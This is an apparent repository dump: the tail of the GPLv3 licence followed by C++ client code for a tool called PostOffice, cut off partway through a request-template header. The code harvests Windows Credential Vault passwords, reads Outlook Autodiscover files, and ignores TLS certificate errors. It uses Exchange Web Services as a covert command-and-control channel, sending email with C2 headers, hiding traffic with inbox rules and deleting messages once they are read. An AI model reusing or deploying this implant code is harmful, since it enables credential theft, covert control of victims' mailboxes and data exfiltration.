stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <https://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    <program>  Copyright (C) <year>  <name of author>\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<https://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<https://www.gnu.org/licenses/why-not-lgpl.html>.\n"
  },
  {
    "path": "PostOffice/client/Exchanger/Base64.h",
    "content": "#pragma once\n\n#include <string>\n\nconst char kBase64Alphabet[] = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n\"abcdefghijklmnopqrstuvwxyz\"\n\"0123456789+/\";\n\n\nstatic inline void a3_to_a4(unsigned char* a4, unsigned char* a3) {\n\ta4[0] = (a3[0] & 0xfc) >> 2;\n\ta4[1] = ((a3[0] & 0x03) << 4) + ((a3[1] & 0xf0) >> 4);\n\ta4[2] = ((a3[1] & 0x0f) << 2) + ((a3[2] & 0xc0) >> 6);\n\ta4[3] = (a3[2] & 0x3f);\n}\n\nstatic inline void a4_to_a3(unsigned char* a3, unsigned char* a4) {\n\ta3[0] = (a4[0] << 2) + ((a4[1] & 0x30) >> 4);\n\ta3[1] = ((a4[1] & 0xf) << 4) + ((a4[2] & 0x3c) >> 2);\n\ta3[2] = ((a4[2] & 0x3) << 6) + a4[3];\n}\n\nstatic inline unsigned char b64_lookup(unsigned char c) {\n\tif (c >= 'A' && c <= 'Z') return c - 'A';\n\tif (c >= 'a' && c <= 'z') return c - 71;\n\tif (c >= '0' && c <= '9') return c + 4;\n\tif (c == '+') return 62;\n\tif (c == '/') return 63;\n\treturn 255;\n}\n\nstatic int DecodedLength(const char* in, size_t in_length) {\n\tint numEq = 0;\n\n\tconst char* in_end = in + in_length;\n\twhile (*--in_end == '=') ++numEq;\n\n\treturn ((6 * (int)in_length) / 8) - numEq;\n}\n\nstatic int DecodedLength(const std::string& in) {\n\tint numEq = 0;\n\tint n = (int)in.size();\n\n\tfor (std::string::const_reverse_iterator it = in.rbegin(); *it == '='; ++it) {\n\t\t++numEq;\n\t}\n\n\treturn ((6 * n) / 8) - numEq;\n}\n\nstatic int EncodedLength(int length) {\n\treturn (length + 2 - ((length + 2) % 3)) / 3 * 4;\n}\n\nstatic int EncodedLength(const std::string& in) {\n\treturn EncodedLength((int)in.length());\n}\n\nstatic void StripPadding(std::string* in) {\n\twhile (!in->empty() && *(in->rbegin()) == '=') in->resize(in->size() - 1);\n}\n\nstatic bool Base64Encode(const std::string& in, std::string* out) {\n\tint i = 0, j = 0;\n\tsize_t enc_len = 0;\n\tunsigned char a3[3];\n\tunsigned char a4[4];\n\n\tout->resize(EncodedLength(in));\n\n\tint input_len = (int)in.size();\n\tstd::string::const_iterator input = in.begin();\n\n\twhile (input_len--) {\n\t\ta3[i++] = *(input++);\n\t\tif (i == 3) {\n\t\t\ta3_to_a4(a4, a3);\n\n\t\t\tfor (i = 0; i < 4; i++) {\n\t\t\t\t(*out)[enc_len++] = kBase64Alphabet[a4[i]];\n\t\t\t}\n\n\t\t\ti = 0;\n\t\t}\n\t}\n\n\tif (i) {\n\t\tfor (j = i; j < 3; j++) {\n\t\t\ta3[j] = '\\0';\n\t\t}\n\n\t\ta3_to_a4(a4, a3);\n\n\t\tfor (j = 0; j < i + 1; j++) {\n\t\t\t(*out)[enc_len++] = kBase64Alphabet[a4[j]];\n\t\t}\n\n\t\twhile ((i++ < 3)) {\n\t\t\t(*out)[enc_len++] = '=';\n\t\t}\n\t}\n\n\treturn (enc_len == out->size());\n}\n\n\nstatic bool Base64Decode(const std::string& in, std::string* out) {\n\tint i = 0, j = 0;\n\tsize_t dec_len = 0;\n\tunsigned char a3[3];\n\tunsigned char a4[4];\n\n\tint input_len = (int)in.size();\n\tstd::string::const_iterator input = in.begin();\n\n\tout->resize(DecodedLength(in));\n\n\twhile (input_len--) {\n\t\tif (*input == '=') {\n\t\t\tbreak;\n\t\t}\n\n\t\ta4[i++] = *(input++);\n\t\tif (i == 4) {\n\t\t\tfor (i = 0; i < 4; i++) {\n\t\t\t\ta4[i] = b64_lookup(a4[i]);\n\t\t\t}\n\n\t\t\ta4_to_a3(a3, a4);\n\n\t\t\tfor (i = 0; i < 3; i++) {\n\t\t\t\t(*out)[dec_len++] = a3[i];\n\t\t\t}\n\n\t\t\ti = 0;\n\t\t}\n\t}\n\n\tif (i) {\n\t\tfor (j = i; j < 4; j++) {\n\t\t\ta4[j] = '\\0';\n\t\t}\n\n\t\tfor (j = 0; j < 4; j++) {\n\t\t\ta4[j] = b64_lookup(a4[j]);\n\t\t}\n\n\t\ta4_to_a3(a3, a4);\n\n\t\tfor (j = 0; j < i - 1; j++) {\n\t\t\t(*out)[dec_len++] = a3[j];\n\t\t}\n\t}\n\n\treturn (dec_len == out->size());\n}"
  },
  {
    "path": "PostOffice/client/Exchanger/EWS.cpp",
    "content": "#include \"EWS.h\"\n#include \"EWS_Requests.h\"\n#include \"Base64.h\"\n\n#include <WinInet.h>\n#include <wincred.h>\n#include <regex>\n\n#pragma comment(lib, \"Wininet.lib\")\n\nvoid replaceInString(std::string& subject, const std::string& search, const std::string& replace) {\n\tsize_t pos = 0;\n\twhile ((pos = subject.find(search, pos)) != std::string::npos) {\n\t\tsubject.replace(pos, search.length(), replace);\n\t\tpos += replace.length();\n\t}\n}\n\nvoid regexEscape(std::string& subject) {\n\tstatic std::regex specialChars{ R\"([-[\\]{}()*+?.,\\^$|#\\s])\" };\n\n\tsubject = std::regex_replace(subject, specialChars, R\"(\\$&)\");\n\n}\nBOOL EWSConnector::Initialize() {\n\n\tif (!DiscoverParameters())\n\t\treturn FALSE;\n\n\tprintf(\"[+] EWS Endpoint: %s\\n\", endpoint.c_str());\n\tprintf(\"[+] Mailbox: %s\\n\", mailbox.c_str());\n\n\t// TODO: Add a user-agent string\n\thInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);\n\tif (!hInternet) FALSE;\n\t\n\tINTERNET_PORT port = (INTERNET_PORT)80;\n\tif (usingSSL) port = (INTERNET_PORT)443;\n\n\thConnection = InternetConnectA(hInternet, server.c_str(), port, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);\n\tif (!hConnection) return FALSE;\n\n\tif (!DiscoverCredentials())\n\t\treturn FALSE;\n\n\treturn TRUE;\n}\n\nBOOL EWSConnector::DiscoverCredentials() {\n\n\tDWORD dwCreds;\n\tPCREDENTIALA* pCreds = NULL;\n\tstd::string username;\n\tstd::wstring password;\n\n\tif (CredEnumerateA(NULL, CRED_ENUMERATE_ALL_CREDENTIALS, &dwCreds, &pCreds))\n\t{\n\t\tfor (DWORD i = 0; i < dwCreds; i++)\n\t\t{\n\t\t\tif (pCreds[i]->CredentialBlobSize < 4)\n\t\t\t\tcontinue;\n\n\t\t\tusername = pCreds[i]->UserName ? pCreds[i]->UserName : \"\";\n\t\t\tpassword = std::wstring((LPWSTR)pCreds[i]->CredentialBlob, pCreds[i]->CredentialBlobSize / sizeof(wchar_t));\n\n\t\t\tif (username.find(mailbox) != std::string::npos) {\n\n\t\t\t\tprintf(\"[+] Found vault creds: %s / \", username.c_str());\n\t\t\t\twprintf(L\"%s...\\n\", password.substr(0, 4).c_str());\n\n\t\t\t\t// TODO: stop mixing string/wstring\n\t\t\t\tInternetSetOptionA(hConnection, INTERNET_OPTION_USERNAME, (LPVOID)username.c_str(), username.length());\n\t\t\t\tInternetSetOptionW(hConnection, INTERNET_OPTION_PASSWORD, (LPVOID)password.c_str(), password.length());\n\t\t\t}\n\t\t}\n\t\tCredFree(pCreds);\n\t}\n\telse {\n\t\treturn FALSE;\n\t}\n\n\treturn TRUE;\n}\n\n\nBOOL EWSConnector::DiscoverParameters() {\n\n\tWCHAR appdataPath[MAX_PATH];\n\tCHAR fileBuffer[8192];\n\tstd::wstring fullPath;\n\tstd::string fileData;\n\tDWORD bytesRead = 0;\n\tHANDLE hFind, hFile;\n\tWIN32_FIND_DATA fData;\n\tsize_t start, stop;\n\tconst std::string urlStart = \"<EwsUrl>\";\n\tconst std::string mailboxStart = \"<AutoDiscoverSMTPAddress>\";\n\tconst std::string xmlStop = \"</\";\n\n\tif (!ExpandEnvironmentStrings(L\"%localappdata%\\\\Microsoft\\\\Outlook\\\\\", appdataPath, MAX_PATH))\n\t\treturn FALSE;\n\n\tstd::wstring wildcardSearch = std::wstring(appdataPath) + L\"*Autodiscover.xml\";\n\n\thFind = FindFirstFile(wildcardSearch.c_str(), &fData);\n\n\tif (hFind != INVALID_HANDLE_VALUE) {\n\t\tdo {\n\t\t\t\n\t\t\t// TODO: Handle multiple files here\n\n\t\t\tfullPath = std::wstring(appdataPath) + fData.cFileName;\n\t\t\thFile = CreateFile(fullPath.c_str(), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);\n\t\t\tif (hFile == (HANDLE)-1)\n\t\t\t\tcontinue;\n\n\t\t\tReadFile(hFile, fileBuffer, sizeof(fileBuffer), &bytesRead, 0);\n\t\t\tCloseHandle(hFile);\n\t\t\tbreak;\n\t\t\t\n\t\t} while (FindNextFile(hFind, &fData));\n\t\tFindClose(hFind);\n\t}\n\n\tif (!bytesRead)\n\t\treturn FALSE;\n\n\tfileData = std::string(fileBuffer, bytesRead);\n\n\tif (fileData.find(urlStart) == std::string::npos)\n\t\treturn FALSE;\n\n\tstart = fileData.find(urlStart);\n\tstop = fileData.find(xmlStop, start);\n\tif (!start || !stop)\n\t\treturn FALSE;\n\n\tendpoint = fileData.substr(start + urlStart.size(), stop - (start + urlStart.size()));\n\n\tif (endpoint.find(\"https\") != std::string::npos) {\n\t\tusingSSL = TRUE;\n\t\tserver = endpoint.substr(8);\n\t}else{\n\t\tserver = endpoint.substr(7);\n\t}\n\n\tsize_t urlPathOffset = server.find(\"/\");\n\tif (!urlPathOffset)\n\t\treturn FALSE;\n\n\tewsPath = server.substr(urlPathOffset);\n\tserver = server.substr(0, urlPathOffset);\n\n\tstart = fileData.find(mailboxStart);\n\tstop = fileData.find(xmlStop, start);\n\tif (!start || !stop)\n\t\treturn FALSE;\n\n\tmailbox = fileData.substr(start + mailboxStart.size(), stop - (start + mailboxStart.size()));\n\n\treturn TRUE;\n}\n\nBOOL EWSConnector::MakeRequest(std::string body, std::string &response) {\n\n\tDWORD dwBytesAvailable = 0;\n\tDWORD dwBytesRead = 0;\n\tHANDLE hRequest;\n\tBYTE buffer[4096];\n\n\tDWORD flags = INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_NO_UI | INTERNET_FLAG_PRAGMA_NOCACHE;\n\tif (usingSSL) flags |= INTERNET_FLAG_SECURE;\n\n\thRequest = HttpOpenRequestA(hConnection, \"POST\", ewsPath.c_str(), NULL, NULL, NULL, flags, 0);\n\tif (hRequest == NULL) return 0;\n\n\tif (usingSSL) {\n\t\tDWORD flagsLength = sizeof(flags);\n\t\tInternetQueryOption(hRequest, INTERNET_OPTION_SECURITY_FLAGS, (LPVOID)&flags, &flagsLength);\n\t\tflags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID;\n\t\tInternetSetOption(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &flags, flagsLength);\n\t}\n\n\tstd::string envelope = \"\";\n\tenvelope.append(Envelope_Template);\n\treplaceInString(envelope, insert_Body, body);\n\treplaceInString(envelope, insert_Version, version);\n\treplaceInString(envelope, insert_Mailbox, mailbox);\n\n\tstd::string requestHeaders = \"Content-Type: text/xml; charset=utf-8\";\n\tif (!HttpSendRequestA(hRequest, requestHeaders.c_str(), (DWORD)requestHeaders.length(), (PVOID)envelope.c_str(), envelope.length())) {\n\t\tint t = GetLastError();\n\t\treturn FALSE;\n\t}\n\n\tresponse = \"\";\n\n\twhile (InternetQueryDataAvailable(hRequest, &dwBytesAvailable, 0, 0))\n\t{\n\t\tif (!InternetReadFile(hRequest, buffer, sizeof(buffer), &dwBytesRead)) return FALSE;\n\t\tif (!dwBytesRead) break;\n\t\tresponse.append((LPSTR)buffer, dwBytesRead);\n\t}\n\n\tif (hRequest) InternetCloseHandle(hRequest);\n\n\treturn TRUE;\n}\n\nBOOL EWSConnector::DoesRuleExist(LPCSTR ruleName) {\n\n\tstd::string response;\n\tstd::string body = GetRules_Template;\n\n\tif (!MakeRequest(body, response))\n\t\treturn FALSE;\n\n\tif (response.find(ruleName) != std::string::npos)\n\t\treturn TRUE;\n\n\treturn FALSE;\n}\n\nBOOL EWSConnector::CreateMoveRule(LPCSTR ruleName, LPCSTR fromEmail, LPCSTR folderName) {\n\n\tstd::string response;\n\tstd::string body = CreateMoveRule_Template;\n\n\treplaceInString(body, insert_Email, fromEmail);\n\treplaceInString(body, insert_Name, ruleName);\n\treplaceInString(body, insert_Folder, folderName);\n\n\tif (!MakeRequest(body, response))\n\t\treturn FALSE;\n\n\treturn TRUE;\n}\n\nBOOL EWSConnector::DeleteRule(LPCSTR ruleName) {\n\t\n\tstd::string response;\n\tstd::string body = GetRules_Template;\n\n\tif (!MakeRequest(body, response))\n\t\treturn FALSE;\n\n\tstd::string strRule = std::string(ruleName);\n\tregexEscape(strRule);\n\n\tstd::regex rgx(\"<RuleId>(\\\\S+)</RuleId><DisplayName>\" + strRule + \"</DisplayName>\");\n\tstd::smatch match;\n\n\tif (!std::regex_search(response, match, rgx))\n\t\treturn FALSE;\n\n\tbody = DeleteRules_Template;\n\n\treplaceInString(body, insert_Id, match[1]);\n\n\tif (!MakeRequest(body, response))\n\t\treturn FALSE;\n\n\treturn TRUE;\n}\n\nBOOL EWSConnector::SendEmailWithHeader(LPCSTR toEmail, LPCSTR c2_Header, LPCSTR c2_Data) {\n\n\tstd::string response;\n\tstd::string body = SendEmail_Template;\n\n\treplaceInString(body, insert_Email, toEmail);\n\treplaceInString(body, insert_Header, c2_Header);\n\treplaceInString(body, insert_Data, c2_Data);\n\n\tif (!MakeRequest(body, response))\n\t\treturn FALSE;\n\n\treturn TRUE;\n}\n\nBOOL EWSConnector::SearchEmail(LPCSTR fromEmail, LPCSTR folderName, std::string& mimeContent) {\n\n\tmimeContent = std::string();\n\n\tstd::string response;\n\n\tstd::string body = FindItemFrom_Template;\n\treplaceInString(body, insert_Email, fromEmail);\n\treplaceInString(body, insert_Folder, folderName);\n\n\tif (!MakeRequest(body, response))\n\t\treturn FALSE;\n\n\tstd::regex rgx(\"ItemId Id=\\\"(\\\\S+)\\\" ChangeKey=\\\"(\\\\S+)\\\"\");\n\tstd::smatch match;\n\n\tif (!std::regex_search(response, match, rgx))\n\t\treturn TRUE; // No items doesn't mean explicit failure\n\n\tstd::string itemId = match[1];\n\tstd::string changeKey = match[2];\n\n\tbody = GetItem_Template;\n\treplaceInString(body, insert_Id, itemId);\n\treplaceInString(body, insert_Key, changeKey);\n\n\tif (!MakeRequest(body, response))\n\t\treturn FALSE;\n\n\trgx.assign(\"<t:MimeContent.+?>(\\\\S+)</t:MimeContent>\");\n\n\tif (!std::regex_search(response, match, rgx))\n\t\treturn FALSE;\n\n\tif (!Base64Decode(match[1], &mimeContent))\n\t\treturn FALSE;\n\n\t// TODO: Move delete / make it optional\n\n\tbody = DeleteItem_Template;\n\treplaceInString(body, insert_Id, itemId);\n\n\tif (!MakeRequest(body, response))\n\t\treturn FALSE;\n\n\treturn TRUE;\n}\n\nBOOL EWSConnector::SearchEmailAndExtractHeader(LPCSTR fromEmail, LPCSTR folderName, LPCSTR headerName, std::string &content) {\n\n\tcontent = std::string();\n\n\tstd::string mimeContent;\n\tif (!SearchEmail(fromEmail, folderName, mimeContent))\n\t\treturn FALSE;\n\n\tif (mimeContent.empty())\n\t\treturn TRUE; // No results\n\n\tstd::string strHeader = std::string(headerName);\n\tregexEscape(strHeader);\n\n\tstd::regex rgx(strHeader + \": (\\\\S+)\");\n\tstd::smatch match;\n\n\tif (!std::regex_search(mimeContent, match, rgx))\n\t\treturn FALSE;\n\n\tcontent = match[1].str();\n\n\treturn TRUE;\n}\n"
  },
  {
    "path": "PostOffice/client/Exchanger/EWS.h",
    "content": "#pragma once\n#include <Windows.h>\n#include <string>\n\ntypedef struct _CREDENTIALS {\n\tLPWSTR domain[256];\n\tLPWSTR username[256];\n\tLPWSTR password[256];\n} CREDENTIALS, * PCREDENTIALS;\n\nclass EWSConnector {\n\nprivate:\n\tHANDLE hInternet;\n\tHANDLE hConnection;\n\tBOOL usingSSL = FALSE;\n\n\tstd::string endpoint;\n\tstd::string server;\n\tstd::string ewsPath;\n\tstd::string mailbox;\n\n\t// Initialize with oldest supported version\n\tstd::string version = \"Exchange2013\";\n\n\tBOOL DiscoverParameters();\n\tBOOL DiscoverCredentials();\n\tBOOL MakeRequest(std::string body, std::string& response);\n\npublic:\n\n\tBOOL Initialize();\n\tBOOL DoesRuleExist(LPCSTR ruleName);\n\tBOOL CreateMoveRule(LPCSTR ruleName, LPCSTR fromEmail, LPCSTR folderName);\n\tBOOL DeleteRule(LPCSTR ruleName);\n\tBOOL SendEmailWithHeader(LPCSTR toEmail, LPCSTR c2_Header, LPCSTR c2_Data);\n\n\tBOOL SearchEmail(LPCSTR fromEmail, LPCSTR folderName, std::string &mimeContent);\n\tBOOL SearchEmailAndExtractHeader(LPCSTR fromEmail, LPCSTR folderName, LPCSTR headerName, std::string &content);\n\n\tEWSConnector() { }\n\t~EWSConnector() { }\n};"
  },
  {
    "path": "PostOffice/client/Exchanger/EWS_Requests.h",
    "content": "#pragma once\n#include <Windows.h>\n\nstatic const std::string insert_Version =\t\"**VERSION**\";\nstatic const std::string insert_Body =\t\t\"**BODY**\";\nstatic const std::string insert_Mailbox =\t\"**MAILBOX**\";\nstatic const std::string insert_Name =\t\t\"**NAME**\";\nstatic const std::string insert_Email =\t\t\"**EMAIL**\";\nstatic const std::string insert_Data =\t\t\"**DATA**\";\nstatic const std::string insert_Header =\t\"**HEADER**\";\nstatic const std::string insert_Folder =\t\"**FOLDER**\";\nstatic const std::string insert_Id =\t\t\"**ID**\";\nstatic const std::string insert_Key =\t\t\"**KEY**\";\n\nstatic LPCSTR Envelope_Template = R\"C0NST(<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<soap:Envelope xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\">\n  <soap:Header>\n    <t:RequestServerVersion Version =\"**VERSION**\"/>\n  </soap:Header>\n  <soap:Body>\n\t**BODY**\n  </soap:Body>\n</soap:Envelope>)C0NST\";\n\nstatic LPCSTR GetRules_Template = R\"C0NST(\n<m:GetInboxRules>\n\t<m:MailboxSmtpAddress>**MAILBOX**</m:MailboxSmtpAddress>\n</m:GetInboxRules>)C0NST\";\n\nstatic LPCSTR DeleteRules_Template = R\"C0NST(\n<m:UpdateInboxRules>\n    <m:RemoveOutlookRuleBlob>true</m:RemoveOutlookRuleBlob>\n    <m:Operations>\n    <t:DeleteRuleOperation>\n        <t:RuleId>**ID**</t:RuleId>\n    </t:DeleteRuleOperation>\n    